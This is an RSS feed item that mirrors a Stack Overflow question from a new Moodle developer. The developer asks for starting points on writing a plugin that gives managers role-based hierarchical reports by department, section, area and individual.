<description><![CDATA[<br />            <p>I am really a newbie to Moodle and I have got this advanced functionality to build for a client's Moodle site as quickly as I can. I have been reading a lot about Moodle through its documentation and any other online resources I can found but thought of taking some help from the experts out here too. </p><br /><br /><p>I am looking forward to build an advanced reporting feature where different role users have the permissions to view advanced reports (high level, overview level, individual)down their hierarchy. </p><br /><br /><p>The report data would be based on organization hierarchy i.e. say a manager can view a department report, within a dept he can select any of the sections, within a section, he can select any area and eventually any individual within that area.</p><br /><br /><p>I need to write a separate plugin for this so that future upgrades don't over ride the changes. Can any one give me a starting point as to how to go about this one? Any links, pointers or suggestions would be useful as I am totally new with Moodle right now?</p><br /><br /><p>Thanks.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1033814" rel="nofollow">ivn</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

</channel>
</rss>

